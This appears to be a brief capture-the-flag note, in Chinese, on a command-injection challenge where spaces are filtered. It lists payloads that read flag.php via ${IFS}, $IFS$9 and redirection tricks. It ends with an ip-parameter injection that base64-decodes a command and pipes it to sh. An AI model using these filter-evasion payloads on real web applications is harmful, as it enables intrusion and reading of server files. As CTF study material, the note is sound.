这题主要是空格绕过，显示
cat flag.php
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php
cat$IFS$9a.php
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
